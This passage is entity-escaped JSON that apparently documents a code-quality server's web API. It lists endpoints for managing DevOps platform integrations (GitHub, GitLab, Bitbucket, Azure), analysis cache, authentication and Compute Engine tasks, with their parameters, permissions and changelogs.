\u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Bitbucket Cloud setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;workspace\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud workspace ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_github\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create GitHub instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Optional parameter \u0026#39;webhookSecret\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;appId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 }, { \u0026#34;key\u0026#34;: \u0026#34;clientId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Client ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 }, { \u0026#34;key\u0026#34;: \u0026#34;clientSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Client Secret\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 160 }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the GitHub instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;privateKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App private key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2500 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;webhookSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Webhook Secret\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 160 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create_gitlab\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create GitLab instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;URL\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the GitLab instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitLab personal access token\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitLab API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;delete\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Delete an DevOps Platform Setting.\\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;DevOps Platform Setting key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;get_binding\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get DevOps Platform binding of a given project.\\u003Cbr/\\u003ERequires the \u0026#39;Browse\u0026#39; permission on the project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Permission needed changed from \u0026#39;Administer\u0026#39; to \u0026#39;Browse\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Azure binding now contains a monorepo flag for monorepo feature in Enterprise Edition and above\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Azure binding now contains the project and repository names\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List DevOps Platform setting available for a given project, sorted by DevOps Platform key\\u003Cbr/\\u003ERequires the \u0026#39;Administer project\u0026#39; permission if the \u0026#39;project\u0026#39; parameter is provided, requires the \u0026#39;Create Projects\u0026#39; permission otherwise.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;URL\u0026#39; added for Azure definitions\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Permission needed changed to \u0026#39;Administer project\u0026#39; or \u0026#39;Create Projects\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Permission needed changed from \u0026#39;Administer project\u0026#39; to \u0026#39;Create Projects\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;list_definitions\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List DevOps Platform Settings, sorted by created date.\\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Fields \u0026#39;personalAccessToken\u0026#39;, \u0026#39;privateKey\u0026#39;, and \u0026#39;clientSecret\u0026#39; are no longer returned\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;URL\u0026#39; added for Azure definitions\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;URL\u0026#39; added for GitLab definitions\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_azure\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update Azure instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;personalAccessToken\u0026#39; is no longer required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;URL\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Azure instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for an unique key of the Azure Devops instance setting\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure Devops personal access token\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Azure API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_bitbucket\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update Bitbucket instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;personalAccessToken\u0026#39; is no longer required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Bitbucket instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for an unique key of the Bitbucket instance setting\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket personal access token\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_bitbucketcloud\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update Bitbucket Cloud Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.7\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;clientId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud Client ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 }, { \u0026#34;key\u0026#34;: \u0026#34;clientSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for the Bitbucket Cloud client secret\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 160 }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the Bitbucket Cloud setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for an unique key of the Bitbucket Cloud setting\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;workspace\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bitbucket Cloud workspace ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_github\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update GitHub instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Optional parameter \u0026#39;webhookSecret\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;privateKey\u0026#39; is no longer required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;clientSecret\u0026#39; is no longer required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;appId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub API ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 }, { \u0026#34;key\u0026#34;: \u0026#34;clientId\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Client ID\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 80 }, { \u0026#34;key\u0026#34;: \u0026#34;clientSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Client Secret\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 160 }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the GitHub instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for an unique key of the GitHub instance setting\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;privateKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App private key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2500 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;webhookSecret\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitHub App Webhook Secret\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 160 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update_gitlab\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update GitLab instance Setting. \\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;personalAccessToken\u0026#39; is no longer required\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;URL\u0026#39; was added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the GitLab instance setting\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;newKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional new value for an unique key of the GitLab instance setting\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;personalAccessToken\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitLab personal access token\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 }, { \u0026#34;key\u0026#34;: \u0026#34;url\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;GitLab API URL\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 2000 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;validate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Validate an DevOps Platform Setting by checking connectivity and permissions\\u003Cbr/\\u003ERequires the \u0026#39;Administer System\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Unique key of the DevOps Platform settings\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;maximumLength\u0026#34;: 200 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/analysis_cache\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Access the analysis cache\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;get\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the scanner\u0026#39;s cached data for a branch. Requires scan permission on the project. Data is returned gzipped if the corresponding \u0026#39;Accept-Encoding\u0026#39; header is set in the request.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The web service is no longer internal\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.9\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. If not provided, main branch will be used.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/authentication\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Handle authentication.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Authenticate a user.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.0\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Login of the user\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;password\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Password of the user\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false } ] }, { \u0026#34;key\u0026#34;: \u0026#34;logout\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Logout a user.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [] }, { \u0026#34;key\u0026#34;: \u0026#34;validate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Check credentials.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/ce\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get information on Compute Engine tasks.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;activity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for tasks.\\u003Cbr\\u003E Requires the system administration permission, or project administration permission if component is set.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;infoMessages\\\u0026#34; added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Warnings field will be now be filled (it was always empty in the past).\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Remove deprecated field \u0026#39;componentId\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;logs\\\u0026#34; is dropped\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameters \u0026#39;q\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;pullRequest\\\u0026#34; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;fields \\\u0026#34;branch\\\u0026#34; and \\\u0026#34;branchType\\\u0026#34; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;logs\\\u0026#34; is deprecated and its value is always false\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;it\u0026#39;s no more possible to specify the page parameter.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the component (project) to filter on\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.0\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;projectKey\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;maxExecutedAt\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Maximum date of end of task processing (inclusive)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;minSubmittedAt\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Minimum date of task submission (inclusive)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2017-10-19T13:00:00+0200\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;onlyCurrents\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter on the last tasks (only the most recent finished task by project)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 1000\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 1000 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that are exactly the same as the supplied 